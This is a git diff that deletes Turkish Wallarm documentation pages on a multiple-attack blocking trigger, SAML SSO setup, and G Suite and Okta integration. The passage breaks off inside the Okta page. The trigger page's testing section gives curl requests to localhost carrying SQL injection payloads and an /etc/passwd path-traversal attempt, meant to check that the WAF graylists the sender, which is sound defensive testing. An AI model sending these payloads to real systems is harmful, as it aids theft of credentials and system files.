sistemin kaynak IP’yi 1 saatliğine engellemesini belirtin. - -Bu korumayı sağlamak için: - -1. Wallarm Console → **Triggers**’ı açın ve tetikleyici oluşturma penceresini açın. -1. **Number of malicious payloads** koşulunu seçin. -1. Eşiği şu şekilde ayarlayın: `more than 3 malicious requests from the same IP per hour`. - - !!! info "Sayılmayanlar" - [custom regular expressions](../../user-guides/rules/regex-rule.md) tabanlı deneysel payload’lar. - -1. Herhangi bir filtre ayarlamayın, ancak diğer durumlarda aşağıdakileri ayrı ayrı veya birleştirerek kullanabileceğinizi unutmayın: - - * **Type**, istekte tespit edilen saldırı türü veya isteğin yöneldiği güvenlik açığı türüdür ([type](../../attacks-vulns-list.md)). - * **Application**, isteği alan [application](../../user-guides/settings/applications.md) öğesidir. - * **IP**, isteğin gönderildiği IP adresidir. Filtre yalnızca tekil IP’leri bekler; alt ağlar, konumlar ve kaynak türlerine izin vermez. - * **Domain**, isteği alan alan adıdır. - * **Response status**, isteğe döndürülen yanıt kodudur. - -1. **Denylist IP address** - `Block for 1 hour` tetikleyici tepkisini seçin. Eşik aşıldığında Wallarm, kaynak IP’yi [denylist](../../user-guides/ip-lists/overview.md)’e alacak ve bundan sonraki tüm istekleri engelleyecektir. - - Çoklu saldırı koruması tarafından bot IP’si denylist’e alınmış olsa bile, varsayılan olarak Wallarm, ondan kaynaklanan engellenen isteklerle ilgili istatistikleri toplar ve [görüntüler](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips). - - ![Varsayılan tetikleyici](../../images/user-guides/triggers/trigger-example-default.png) - -1. Tetikleyiciyi kaydedin ve [Cloud ve node eşitlemesinin tamamlanmasını](../configure-cloud-node-synchronization-en.md) bekleyin (genellikle 2-4 dakika sürer). - - -## Önceden yapılandırılmış tetikleyici - -Yeni şirket hesaplarında, 1 saat içinde 3’ten fazla farklı [malicious payloads](../../glossary-en.md#malicious-payload) üretildiğinde IP’yi 1 saatliğine graylist’e alan, önceden yapılandırılmış (default) **Number of malicious payloads** tetikleyicisi bulunur. - -[Graylist](../../user-guides/ip-lists/overview.md), node tarafından şu şekilde işlenen şüpheli IP adresleri listesidir: graylist’teki bir IP kötü amaçlı istekler üretirse node bunları engeller, ancak meşru isteklere izin verir. Graylist’in aksine, [denylist](../../user-guides/ip-lists/overview.md), uygulamalarınıza hiç ulaşmasına izin verilmeyen IP adreslerini gösterir – node, denylist’teki kaynaklar tarafından üretilen meşru trafiği bile engeller. IP graylisting, [false positives](../../about-wallarm/protecting-against-attacks.md#false-positives) azaltılmasına yönelik seçeneklerden biridir. - -Tetikleyici, node’un herhangi bir filtreleme modunda çalışır; dolayısıyla node mode’dan bağımsız olarak IP’leri graylist’e alır. - -Bununla birlikte, node graylist’i yalnızca **safe blocking** modunda analiz eder. Graylist’teki IP’lerden gelen kötü amaçlı istekleri engellemek için, önce özelliklerini öğrenerek node [mode](../../admin-en/configure-wallarm-mode.md#available-filtration-modes)’unu safe blocking olarak değiştirin. - -Brute force, Forced browsing, Resource overlimit, Data bomb veya Virtual patch saldırı türlerine sahip Hits bu tetikleyicide dikkate alınmaz. - -Default tetikleyiciyi geçici olarak devre dışı bırakabilir, değiştirebilir veya silebilirsiniz. - -## Test etme - -Aşağıda, [pre-configured trigger](#pre-configured-trigger) için test örneği verilmiştir. Bunu kendi tetikleyici görünümünüze uyarlayabilirsiniz. - -1. Korumalı kaynağa aşağıdaki istekleri gönderin: - - ```bash - curl 'http://localhost/?id=1%27%20UNION%20SELECT%20username,%20password%20FROM%20users--' - curl 'http://localhost/?id=1%27%20select%20version();' - curl http://localhost/instructions.php/etc/passwd - ``` - - [SQLi](../../attacks-vulns-list.md#sql-injection), [XSS](../../attacks-vulns-list.md#crosssite-scripting-xss) ve [Path Traversal](../../attacks-vulns-list.md#path-traversal) türlerinde 4 kötü amaçlı payload vardır. -1. Wallarm Console → **IP lists** → **Graylist**’i açın ve isteklerin geldiği IP adresinin 1 saatliğine graylist’e alındığını kontrol edin. -1. **Attacks** bölümünü açın ve saldırıların listede görüntülendiğini kontrol edin: - - ![UI'de üç kötü amaçlı payload](../../images/user-guides/triggers/test-3-attack-vectors-events.png) - - Saldırıları aramak için `multiple_payloads` [arama etiketi](../../user-guides/search-and-filters/use-search.md#search-by-attack-type)’ni kullanabilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/sso/intro.md b/docs/latest-tr/admin-en/configuration-guides/sso/intro.md deleted file mode 100644 index 8b716957ce..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/sso/intro.md +++ /dev/null @@ -1,40 +0,0 @@ -# SAML SSO Kimlik Doğrulama Genel Bakış - -Wallarm Console’a şirketinizin kullanıcılarını kimlik doğrulamak için tek oturum açma (SSO) teknolojisini kullanabilirsiniz. Wallarm, hizmet sağlayıcı (SP) olarak davranırken, Google veya Okta gibi SAML standardını destekleyen herhangi bir kimlik sağlayıcı (IdP) ile sorunsuz biçimde entegre olur. - -![Integrations - SSO](../../../images/admin-guides/configuration-guides/sso/sso-integration-add.png) - -## Mevcut seçenekler - -### Provisioning - -Wallarm SSO entegrasyonunu **provisioning** ile veya **provisioning** olmadan ayarlayabilirsiniz. Provisioning, SAML SSO çözümünden Wallarm’a verilerin otomatik aktarımıdır: SAML SSO çözümü kullanıcılarınız ve bunların grup üyelikleri Wallarm’a erişimi ve oradaki izinleri belirler; tüm kullanıcı yönetimi SAML SSO çözümü tarafında gerçekleştirilir. - -**Provisioning** kapalıyken, SAML SSO çözümünüzde bulunan kullanıcılar için Wallarm’da karşılık gelen kullanıcıları oluşturmanız gerekir. Kullanıcı rolleri de Wallarm’da tanımlanır ve hangi kullanıcıların SSO ile oturum açacağını seçebilirsiniz - kalanlar kullanıcı adı/parola kullanır. Ayrıca, tüm şirket hesabı kullanıcıları için tek seferde SSO kimlik doğrulamasını etkinleştiren **Strict SSO** seçeneğini de etkinleştirebilirsiniz. - -SSO kullanan kullanıcılar: - -* Kullanıcı adı ve parola ile kimlik doğrulaması yapamaz ve iki faktörlü kimlik doğrulama (2FA) etkinleştirilemez. -* Provisioning ile, Wallarm tarafında devre dışı bırakılamaz veya silinemez. - -Provisioning ve bunu kullanmadığınızda mevcut seçeneklerin ayrıntıları için [buraya bakın](setup.md#step-4-saml-sso-solution-configure-provisioning). - -### Kiracıya bağlı izinler - -[Çok kiracılık](../../../installation/multi-tenant/overview.md) özelliğini kullanıyor ve kullanıcılara **farklı kiracılarda farklı izinler** vermek istiyorsanız, bu seçeneğin etkinleştirilmesi için [Wallarm destek ekibi](https://support.wallarm.com/) ile iletişime geçin. - -Bununla neler yapabileceğinize bir örnek: SAML SSO çözümünüzde `Department A` adlı bir grubunuz ve iki kiracınız olduğunu varsayalım: `TEST environment` ve `PROD environment`. Grubun kullanıcılarının TEST için yönetici izinlerine (**Administrator** rolü) ve PROD için kısıtlı izinlere (**Analyst** rolü) sahip olmasını istiyorsunuz. - -Bunu yapmak için, **farklı kiracılarda farklı izinler** seçeneğinin etkinleştirilmiş ve [yapılandırılmış](setup.md#tenant-dependent-permissions) olması gerekir. - -Ayrıca bu seçenekle, farklı SAML SSO çözümü gruplarının yalnızca belirli kiracılara erişmesini, diğerlerine erişmemesini de yapılandırabilirsiniz; örneğin, `Department B` SAML SSO çözümü grubunuz yalnızca TEST’e (seçtiğiniz izinlerle) erişebilir. - -## Etkinleştirme ve kurulum - -Varsayılan olarak, Wallarm’da kimlik doğrulama için SSO hizmeti etkin değildir, ilgili bloklar Wallarm Console’daki **Integrations** bölümünde görünmez. - -SSO hizmetini etkinleştirmek için [Wallarm destek ekibi](https://support.wallarm.com/) ile iletişime geçin. - -Hizmet etkinleştirildikten sonra, gerekli yapılandırmayı hem Wallarm tarafında hem de SAML SSO çözümünüz tarafında sağlayarak kurulumu gerçekleştirebilirsiniz. Ayrıntılar için [buraya bakın](setup.md). - -Wallarm, SAML standardını destekleyen herhangi bir çözümle entegre olabilse de aynı anda yalnızca tek bir etkin SSO entegrasyonu olabilir. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/sso/setup.md b/docs/latest-tr/admin-en/configuration-guides/sso/setup.md deleted file mode 100644 index 825f6283a4..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/sso/setup.md +++ /dev/null @@ -1,178 +0,0 @@ -# SAML SSO Kimlik Doğrulama Kurulumu - -[img-disable-sso-provider]: ../../../images/admin-guides/configuration-guides/sso/disable-sso-provider.png -[doc-setup-sso-gsuite]: gsuite/overview.md -[doc-setup-sso-okta]: okta/overview.md - -Bu makale, Wallarm'ın [SAML SSO Kimlik Doğrulaması](intro.md) özelliğini etkinleştirme ve yapılandırmanın genel akışını açıklar. - -[G Suite](sso-gsuite.md) ve [Okta](sso-okta.md) SAML SSO çözümlerine ait örneklerle de tanışabilirsiniz. - -## Adım 1: SSO hizmetini etkinleştirin - -Varsayılan olarak, Wallarm'da kimlik doğrulama için SSO hizmeti aktif değildir; ilgili bloklar Wallarm Console içindeki **Integrations** bölümünde görünmez. - -SSO hizmetini etkinleştirmek için [Wallarm destek ekibi](https://support.wallarm.com/) ile iletişime geçin. Varsayılan olarak [provizyon](#step-4-saml-sso-solution-configure-provisioning) ile SSO önerilir: - -* Etkinleştirmeden sonra hiçbir kullanıcı giriş ve parola ile kimlik doğrulaması yapamaz. Gerekli ise yedek hesap talep edin - bu hesap giriş/parola kullanımını sürdürür. -* Kullanıcılar Wallarm tarafında devre dışı bırakılamaz veya silinemez. - -## Adım 2 (Wallarm): Metaveri oluşturun - -SAML SSO çözümü tarafına girmek üzere Wallarm metaverilerine ihtiyacınız var: - -1. Wallarm Console'a yönetici ayrıcalıklarıyla giriş yaptığınızdan emin olun. -1. Wallarm Console'da **Integrations** → **SSO SAML AUTHENTICATION** bölümüne gidin ve uygun entegrasyonu başlatın. - - Google, Okta veya başka bir (**Custom**) SAML SSO çözümünü entegre edebilirsiniz. Aynı anda yalnızca bir SSO entegrasyonunun aktif olabileceğini unutmayın. - - ![Integrations - SSO](../../../images/admin-guides/configuration-guides/sso/sso-integration-add.png) - -1. SSO yapılandırma sihirbazında, **Send details** adımında, SAML SSO çözümünüze gönderilecek metaverileri gözden geçirin. -1. Metaverileri kopyalayın veya XML olarak kaydedin. -1. SAML SSO çözümü SSO veri alışverişi için ek doğrulama gerektiriyorsa, [**Extended security**](#extended-security) onay kutusunu seçin. - -## Adım 3 (SAML SSO çözümü): Uygulamayı yapılandırın - -1. SAML SSO çözümünüze giriş yapın. -1. Wallarm'a erişim sağlayacak uygulamayı yapılandırın. -1. Uygulamanın metaverilerini kopyalayın veya XML olarak kaydedin. -1. Uygulamanın etkinleştirildiğinden ve kullanıcıların uygulamaya erişimi olduğundan emin olun. - -## Adım 4 (SAML SSO çözümü): Provizyonu yapılandırın - -**Provizyon**, SAML SSO çözümünden Wallarm'a verilerin otomatik aktarımıdır: SAML SSO çözümünüze ait kullanıcılar ve grup üyelikleri Wallarm'a erişimi ve oradaki izinleri belirler; tüm kullanıcı yönetimi SAML SSO çözümü tarafında gerçekleştirilir. - -Bunun çalışması için, öznitelik eşlemesini sağlayın: - -1. Wallarm'a erişim sağlayan uygulamada aşağıdaki öznitelikleri eşleyin: - - * `email` - * `first_name` - * `last_name` - * kullanıcı grubunu(gruplarını) `wallarm_role:[role]` özniteliğine; burada `role` şunlardan biridir: - - * `admin` (**Administrator**) - * `analytic` (**Analyst**) - * `api_developer` (**API Developer**) - * `auditor` (**Read Only**) - * `partner_admin` (**Global Administrator**) - * `partner_analytic` (**Global Analyst**) - * `partner_auditor` (**Global Read Only**) - - ![Integrations - SSO, Okta'da eşleme örneği](../../../images/admin-guides/configuration-guides/sso/okta/wallarm-sso-okta-mapping.png) - - Tüm rol açıklamalarını [burada](../../../user-guides/settings/users.md#user-roles) bulabilirsiniz. - - SAML SSO çözümünüz grupları farklı özniteliklere eşlemeyi desteklemiyorsa, tüm grupları `wallarm_roles` etiketine eşleyin (Google örneğindeki [durum](sso-gsuite.md#step-4-g-suite-configure-provisioning-part-1) gibi) ve ardından grupları rollere Wallarm tarafında eşleyin - [6. adıma](#step-6-wallarm-configure-provisioning-optional) bakın. - - !!! warning "Geçersiz kılma seçeneği" - **different permissions in different tenants** seçeneği etkinse, grupların rollere eşlenmesi [farklı](#tenant-dependent-permissions) yapılandırılır ve temel eşlemeyi [geçersiz kılar](#override-general-sso-mapping). - -1. Değişiklikleri kaydedin. - -**Provizyonu kapatma** - -Provizyon seçeneğini [Wallarm destek ekibi](https://support.wallarm.com/) ile iletişime geçerek kapatabilirsiniz. Kapalıysa, SAML SSO çözümünüzde bulunan kullanıcılar için Wallarm'da karşılık gelen kullanıcıları oluşturmanız gerekir. Kullanıcı rollerinin de Wallarm Console'da tanımlanması gerekir. - -Provizyon kapalıyken kullanıcıları elle oluşturmalı, rolleri atamalı ve SSO ile giriş yapması gereken kullanıcıları seçmelisiniz - kalanlar giriş/parola kullanır. Talebiniz üzerine, Wallarm desteği ayrıca tüm şirket hesabı kullanıcıları için tek seferde SSO kimlik doğrulamasını etkinleştiren **Strict SSO** seçeneğini de açabilir. Strict SSO'nun diğer özellikleri: - -* Hesabın mevcut tüm kullanıcıları için kimlik doğrulama yöntemi SSO'ya çevrilir. -* Tüm yeni kullanıcılar varsayılan olarak kimlik doğrulama yöntemi olarak SSO'yu alır. -* Herhangi bir kullanıcı için kimlik doğrulama yöntemi SSO dışındaki bir şeye değiştirilemez. - -Provizyon kapalıyken kullanıcı yönetimi Wallarm Console → **Settings** → **Users** bölümünde [burada](../../../user-guides/settings/users.md) açıklandığı şekilde gerçekleştirilir. SAML SSO çözümü ile eşleme yalnızca `email` özniteliğini kullanır. - -## Adım 5 (Wallarm): SSO SAML çözümü metaverilerini girin - -1. Wallarm Console'da, SSO yapılandırma sihirbazında **Upload metadata** adımına ilerleyin. -1. Aşağıdakilerden birini yapın: - - * G Suite metaverilerini bir XML dosyası olarak yükleyin. - * Metaverileri manuel olarak girin. - -## Adım 6 (Wallarm): Provizyonu yapılandırın (isteğe bağlı) - -Bu adım yalnızca SAML SSO çözümünüz grupları farklı özniteliklere eşlemeyi desteklemiyorsa ve tüm gruplar `wallarm_roles` etiketine eşlenmişse (Google örneğindeki [durum](sso-gsuite.md#step-4-g-suite-configure-provisioning-part-1) gibi) uygulanmalıdır. - -1. **Roles mapping** adımına ilerleyin. -1. Bir veya birkaç SSO grubunu Wallarm rollerine eşleyin. Mevcut roller: - - * `admin` (**Administrator**) - * `analytic` (**Analyst**) - * `api_developer` (**API Developer**) - * `auditor` (**Read Only**) - * `partner_admin` (**Global Administrator**) - * `partner_analytic` (**Global Analyst**) - * `partner_auditor` (**Global Read Only**) - - Tüm rol açıklamalarını [burada](../../../user-guides/settings/users.md#user-roles) bulabilirsiniz. - - ![SSO gruplarını Wallarm rollerine eşleme - Wallarm'da eşleme](../../../images/admin-guides/configuration-guides/sso/sso-mapping-in-wallarm.png) - -1. SSO yapılandırma sihirbazını tamamlayın. Wallarm, SAML SSO Çözümünüzden/Çözümünüze veri aktarımının artık mümkün olup olmadığını test edecektir. - -## Genişletilmiş güvenlik - -SAML SSO çözümünüz (Keycloak veya Okta gibi), Wallarm dahil uygulamalarla bağlantı kurulurken ek güvenlik doğrulaması gerektirebilir. Buna şunlar dahil olabilir: - -* SAML istek ve yanıtlarının imza ile doğrulanmasına yönelik gereksinimler -* SAML istek ve yanıtlarının şifrelenmesine yönelik gereksinimler - -Bu tür bir SAML SSO çözümü ile entegrasyonu sağlamak için Wallarm, **Extended security** özelliğine sahiptir. Kullanımı: - -1. Wallarm'da, [**Generate metadata**](#step-2-wallarm-generate-metadata) adımında **Extended security** seçeneğini seçin. -1. Metaverileri XML olarak kaydedin; sertifika verileri ve SAML SSO çözümünüz için uygun yapılandırma buna eklenecektir. -1. SAML SSO çözümünde, [**Configure application**](#step-3-saml-sso-solution-configure-application) adımında, sağlanan XML'i içe aktararak tüm seçeneklerin otomatik olarak doğru şekilde yapılandırılmasını sağlayın. Aşağıda Keycloak örneğine bakın. - - ![Genişletilmiş güvenlik - Keycloak örneği](../../../images/admin-guides/configuration-guides/sso/sso-extended-security-keycloak-example.png) - -## Kiracıya bağlı izinler - -[**different permissions in different tenants**](intro.md#tenant-dependent-permissions) seçeneği etkinse, bu izinleri aşağıdaki gibi yapılandırın: - -1. Wallarm Console'a **Global administrator** olarak giriş yaptığınızdan emin olun. -1. **Settings** → **Groups** bölümüne gidin. -1. **Add group**'a tıklayın ve SAML SSO çözümü grup adınıza bağlayın. -1. Rolü ayarlayın, **Add**'e tıklayın. - - ![SSO, different permissions in different tenants, grup oluşturma](../../../images/admin-guides/configuration-guides/sso/sso-iam-group-create.png) - - Grup oluşturulur ve gruplar listesinde görüntülenir. - -1. Grup menüsünden **Edit group settings** seçeneğini belirleyin. -1. Grup sayfanız görüntülenir. Kiracı listesini ayarlayın. - - ![SSO, different permissions in different tenants, gruba kiracı ekleme](../../../images/admin-guides/configuration-guides/sso/sso-iam-group-tenants.png) - - Bunun sonucunda SAML SSO çözümü grubunuzun kullanıcıları, belirtilen izinler (rol) setiyle listelenen kiracılara erişebilecek. - -1. Başka bir grup ekleyin ve aynı SAML SSO çözümü grup adına bağlayın. -1. Farklı bir rol belirleyin. -1. Farklı bir kiracı listesi belirleyin. - - Bunun sonucunda SAML SSO çözümü grubunuzun kullanıcıları, bu diğer kiracılara farklı bir izin setiyle (başka bir rol) erişebilecek. - -**Yalnızca belirli kiracılara erişim**: Farklı SAML SSO çözümü gruplarındaki kullanıcıların yalnızca belirli kiracılara ve diğerlerine değil erişmesini de yapılandırabilirsiniz. - -Aynı SAML SSO kullanıcısı farklı izinlerle aynı kiracıya erişim sağlayan birden fazla gruba aitse, daha geniş izin uygulanır. - -!!! info "Yöneticileriniz" - - Bazı SAML SSO çözümü gruplarınızdaki kullanıcılar için Wallarm'a (tüm kiracılar) ayrıcalıklı (yönetimsel) erişim sağlamak istiyorsanız, Wallarm Console'da SSO yapılandırma sihirbazında **Roles mapping** adımına ilerleyin ve SSO grubunuzu(gruplarınızı) **Global administrator** rolüne bağlayın. - - Bu SAML SSO çözümü grubundaki kullanıcıların, başka herhangi bir SAML SSO çözümü grubuna dahil olsalar bile, herhangi bir şekilde kısıtlanamayacağını unutmayın. - - ![SSO, different permissions in different tenants, global administrator istisnası](../../../images/admin-guides/configuration-guides/sso/sso-iam-global-administrators.png) - -**Genel eşlemeyi geçersiz kılma** - -Etkin **different permissions in different tenants** seçeneğinin [genel eşleme](#step-4-saml-sso-solution-configure-provisioning)yi geçersiz kıldığını unutmayın; örneğin: - -* `Analytic` gruplarınızı genel olarak `wallarm_role:analytic` ile eşlemiş ve 5 kiracınız varsa, daha sonra **different permissions in different tenants** seçeneğini etkinleştirirseniz, `Analytic` grubunun kullanıcıları siz **Groups** oluşturup yönetene kadar herhangi bir kiracıya erişimi kaybeder (genel eşleme artık yok sayılır). -* Daha sonra `Analytic` gruplarına 5 kiracıdan 3'üne erişim sağlayan grubu oluşturursanız, diğer 2 kiracı onlara erişilebilir olmayacaktır (genel eşleme yok sayılır). -* Bazı gruplardaki kullanıcılara tüm kiracılara yönetici olmayan erişim sağlamak istiyorsanız, [teknik kiracı hesabına](../../../installation/multi-tenant/overview.md#tenant-accounts) erişim için **Global something** rolüne sahip bir grup oluşturun. - -## Devre dışı bırakma ve silme - -**Integrations** bölümünde SSO'yu yalnızca [provizyon](#step-4-saml-sso-solution-configure-provisioning) kapalıyken devre dışı bırakabilir ve silebilirsiniz. Kapatmak için [Wallarm destek ekibi](https://support.wallarm.com/) ile iletişime geçin. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/sso/sso-gsuite.md b/docs/latest-tr/admin-en/configuration-guides/sso/sso-gsuite.md deleted file mode 100644 index 4fa4af9be1..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/sso/sso-gsuite.md +++ /dev/null @@ -1,139 +0,0 @@ -# G Suite ile SSO Bağlantısı - -[img-gsuite-console]: ../../../images/admin-guides/configuration-guides/sso/gsuite/gsuite-console.png -[img-gsuite-add-app]: ../../../images/admin-guides/configuration-guides/sso/gsuite/gsuite-add-app.png -[img-fetch-metadata]: ../../../images/admin-guides/configuration-guides/sso/gsuite/gsuite-fetch-metadata.png -[img-fill-in-sp-data]: ../../../images/admin-guides/configuration-guides/sso/gsuite/gsuite-fill-in-sp-data.png -[img-app-page]: ../../../images/admin-guides/configuration-guides/sso/gsuite/gsuite-app-page.png -[link-gsuite-adm-console]: https://admin.google.com -[img-sp-wizard-transfer-metadata]: ../../../images/admin-guides/configuration-guides/sso/gsuite/sp-wizard-transfer-metadata.png -[img-transfer-metadata-manually]: ../../../images/admin-guides/configuration-guides/sso/gsuite/transfer-metadata-manually.png -[img-sp-wizard-finish]: ../../../images/admin-guides/configuration-guides/sso/gsuite/sp-wizard-finish.png - -Bu kılavuz, hizmet sağlayıcı olarak hareket eden Wallarm’a kimlik sağlayıcı olarak [G Suite](https://gsuite.google.com/) (Google) hizmetinin bağlanması sürecini kapsar. - -Adımları tamamlamak için hem Wallarm hem de G Suite tarafında yönetici haklarına sahip hesaplara ihtiyacınız vardır. - -## Adım 1 (Wallarm): SSO servisini etkinleştirin - -Varsayılan olarak, Wallarm’da kimlik doğrulama için SSO servisi etkin değildir, buna karşılık gelen bloklar Wallarm Console içindeki **Integrations** bölümünde görünmez. - -SSO servisini etkinleştirmek için [Wallarm support team](https://support.wallarm.com/) ile iletişime geçin. Varsayılan olarak [sağlama](#step-4-g-suite-configure-provisioning-part-1) ile SSO önerilecektir: - -* Etkinleştirdikten sonra hiçbir kullanıcı giriş ve parola ile kimlik doğrulaması yapamayacaktır. Gerekirse geri dönüş hesabı (fallback account) talep edin - bu hesap giriş/parola kullanımını sürdürecektir. -* Kullanıcılar Wallarm tarafında devre dışı bırakılamaz veya silinemez. -* [Birden fazla tenant](../../../installation/multi-tenant/overview.md) kullanıyorsanız, Okta ile [tenant dependent permissions](intro.md#tenant-dependent-permissions) seçeneğini kullanabilirsiniz; bununla ilgili kararı Wallarm desteği ile birlikte verin. - -## Adım 2 (Wallarm): Metadata oluşturun - -G Suite tarafında girmek üzere Wallarm metadata’sına ihtiyacınız var: - -1. Wallarm Console’da **Integrations** → **SSO SAML AUTHENTICATION** yoluna gidin ve **Google SSO** yapılandırmasını başlatın. - - ![Integrations - SSO](../../../images/admin-guides/configuration-guides/sso/sso-integration-add.png) - -1. SSO yapılandırma sihirbazında, **Send details** adımında, G Suite servisine iletilmesi gereken Wallarm metadata’sını görüntüleyin. - - ![Wallarm metadata’sı](../../../images/admin-guides/configuration-guides/sso/gsuite/sp-metadata.png) - - * **Wallarm Entity ID**, kimlik sağlayıcı için Wallarm uygulaması tarafından oluşturulan benzersiz uygulama tanımlayıcısıdır. - * **Assertion Consumer Service URL (ACS URL)**, kimlik sağlayıcının SamlResponse parametresiyle istekleri gönderdiği uygulamanın Wallarm tarafındaki adresidir. - -1. Metadata’yı kopyalayın veya XML olarak kaydedin. - -## Adım 3 (G Suite): Uygulamayı yapılandırın - -G Suite’te uygulamayı yapılandırmak için: - -1. Google [admin console][link-gsuite-adm-console] içine giriş yapın. -1. **Apps** bölümüne gidin. - - ![G Suite yönetici konsolu][img-gsuite-console] - -1. **SAML apps** → **Add a service/App to your domain** öğesine tıklayın. -1. **Setup my own custom app** öğesine tıklayın. - - ![G Suite’e yeni bir uygulama ekleme][img-gsuite-add-app] - - Size G Suite metadata’sı sağlanacaktır: - - * **SSO URL** - * **Entity ID** - * **Certificate** (X.509) - -1. Metadata’yı kopyalayın veya XML olarak kaydedin. -1. **Next**’e tıklayın. - - ![Metadata’yı kaydetme][img-fetch-metadata] - -1. Wallarm metadata’sını girin. Zorunlu alanlar: - - * **ACS URL** = Wallarm içindeki **Assertion Consumer Service URL** parametresi. - * **Entity ID** = Wallarm içindeki **Wallarm Entity ID** parametresi. - -1. Gerekirse kalan parametreleri doldurun ve **Next**’e tıklayın. - - ![Hizmet sağlayıcı bilgilerini doldurma][img-fill-in-sp-data] - -1. **Finish**’e tıklayın. Oluşturulan uygulamanın sayfasına yönlendirileceksiniz. - - ![G Suite’te uygulama sayfası][img-app-page] - -1. G Suite kullanıcılarına oluşturulan uygulamaya erişim verin: **Edit Service** → **Service status** → **ON for everyone** yolunu izleyin. -1. Değişiklikleri kaydedin. - -## Adım 4 (G Suite): Sağlamayı yapılandırma - bölüm 1 - -**Provisioning**, SAML SSO çözümünden (G Suite) Wallarm’a verilerin otomatik aktarımıdır: G Suite kullanıcılarınız ve onların grup üyelikleri Wallarm’a erişimi ve oradaki izinleri belirler; tüm kullanıcı yönetimi G Suite tarafında gerçekleştirilir. - -Bunun çalışması için öznitelik eşlemesini sağlayın: - -1. G Suite uygulamasında, **Add new mapping** aracılığıyla şunları eşleyin: - - * `email` - * `first_name` - * `last_name` - * kullanıcı grubu/gruplarını `wallarm_roles` etiketine - - ![SAML SSO çözümü - G Suite - Eşleme](../../../images/admin-guides/configuration-guides/sso/simple-sso-mapping.png) - -1. Değişiklikleri kaydedin. - - Sağlama yapılandırmasına Wallarm tarafında [adım 6](#step-6-wallarm-configure-provisioning-part-2) ile devam edilecektir. - -## Adım 5 (Wallarm): G Suite metadata’sını girin - -1. Wallarm Console’da, SSO yapılandırma sihirbazında **Upload metadata** adımına ilerleyin. -1. Şunlardan birini yapın: - - * G Suite metadata’sını XML dosyası olarak yükleyin. - - ![Metadata yükleme][img-sp-wizard-transfer-metadata] - - * Metadata’yı aşağıdaki şekilde elle girin: - - * **SSO URL** → **Identity provider SSO URL** - * **Entity ID** → **Identity provider issuer** - * **Certificate** → **X.509 Certificate** - - ![Metadata’yı elle girme][img-transfer-metadata-manually] - - -## Adım 6 (Wallarm): Sağlamayı yapılandırma - bölüm 2 - -1. **Roles mapping** adımına ilerleyin. -1. Bir veya birkaç SSO grubunu Wallarm rollerine eşleyin. Kullanılabilir roller: - - * `admin` (**Administrator**) - * `analytic` (**Analyst**) - * `api_developer` (**API Developer**) - * `auditor` (**Read Only**) - * `partner_admin` (**Global Administrator**) - * `partner_analytic` (**Global Analyst**) - * `partner_auditor` (**Global Read Only**) - - Tüm rol açıklamalarını [burada](../../../user-guides/settings/users.md#user-roles) görebilirsiniz. - - ![SSO gruplarının Wallarm rollerine eşlenmesi - Wallarm’da eşleme](../../../images/admin-guides/configuration-guides/sso/sso-mapping-in-wallarm.png) - -1. SSO yapılandırma sihirbazını tamamlayın. Wallarm, verilerin G Suite’iniz ile karşılıklı aktarılabilir olduğunu test edecektir. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/sso/sso-okta.md b/docs/latest-tr/admin-en/configuration-guides/sso/sso-okta.md deleted file mode 100644 index 532c3563e7..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/sso/sso-okta.md +++ /dev/null @@ -1,141 +0,0 @@ -# Okta ile SSO’yu Bağlama - -[link-okta]: https://www.okta.com/ -[img-dashboard]: ../../../images/admin-guides/configuration-guides/sso/okta/dashboard.png -[img-general]: ../../../images/admin-guides/configuration-guides/sso/okta/wizard-general.png -[img-saml]: ../../../images/admin-guides/configuration-guides/sso/okta/wizard-saml.png -[img-saml-preview]: ../../../images/admin-guides/configuration-guides/sso/okta/wizard-saml-preview.png -[img-feedback]: ../../../images/admin-guides/configuration-guides/sso/okta/wizard-feedback.png -[link-okta-docs]: https://help.okta.com/en/prod/Content/Topics/Apps/Apps_App_Integration_Wizard.htm -[img-transfer-metadata-manually]: ../../../images/admin-guides/configuration-guides/sso/okta/transfer-metadata-manually.png -[img-sp-wizard-finish]: ../../../images/admin-guides/configuration-guides/sso/okta/sp-wizard-finish.png -[img-sp-metadata]: ../../../images/admin-guides/configuration-guides/sso/okta/sp-metadata.png -[img-assignments]: ../../../images/admin-guides/configuration-guides/sso/okta/assignments.png - -Bu kılavuz, [Okta][link-okta] hizmetinin kimlik sağlayıcı (IdP) olarak, hizmet sağlayıcı (SP) rolündeki Wallarm’a bağlanması sürecini kapsar. - -Adımları tamamlamak için hem Wallarm hem de Okta üzerinde yönetici haklarına sahip hesaplara ihtiyacınız vardır. - -## Adım 1 (Wallarm): SSO hizmetini etkinleştirin - -Varsayılan olarak, Wallarm’da kimlik doğrulama için SSO hizmeti etkin değildir; Wallarm Console içindeki **Integrations** bölümünde ilgili bloklar görünmez. - -SSO hizmetini etkinleştirmek için [Wallarm destek ekibi](https://support.wallarm.com/) ile iletişime geçin. [sağlama](#step-4-okta-configure-provisioning) ile SSO varsayılan olarak önerilir: - -* Etkinleştirdikten sonra hiçbir kullanıcı kullanıcı adı ve parola ile kimlik doğrulaması yapamaz. Gerekirse yedek hesap talep edin – bu, kullanıcı adı/parola girişi imkânını korur. -* Wallarm tarafında hiçbir kullanıcı devre dışı bırakılamaz veya silinemez. -* [Birden fazla kiracınız](../../../installation/multi-tenant/overview.md) varsa, Okta ile [kiracıya bağlı izinler](intro.md#tenant-dependent-permissions) seçeneğini kullanabilirsiniz; buna Wallarm desteğiyle birlikte karar verin. - -## Adım 2 (Wallarm): Metadata üretin - -!!! info "Genişletilmiş güvenlik" - Okta‑to‑Wallarm bağlantınız için ek güvenlik doğrulaması kullanmak istiyor veya zorunluysanız, bu adımda mevcut olan [Extended security](setup.md#extended-security) seçeneğini kullanmayı düşünün. - -Okta tarafında girmeniz için Wallarm metadata’sına ihtiyacınız var: - -1. Wallarm Console’da **Integrations** → **SSO SAML AUTHENTICATION** bölümüne gidin ve **Okta SSO** yapılandırmasını başlatın. - - ![Integrations - SSO](../../../images/admin-guides/configuration-guides/sso/sso-integration-add.png) - -1. SSO yapılandırma sihirbazında, **Send details** adımında Okta hizmetine 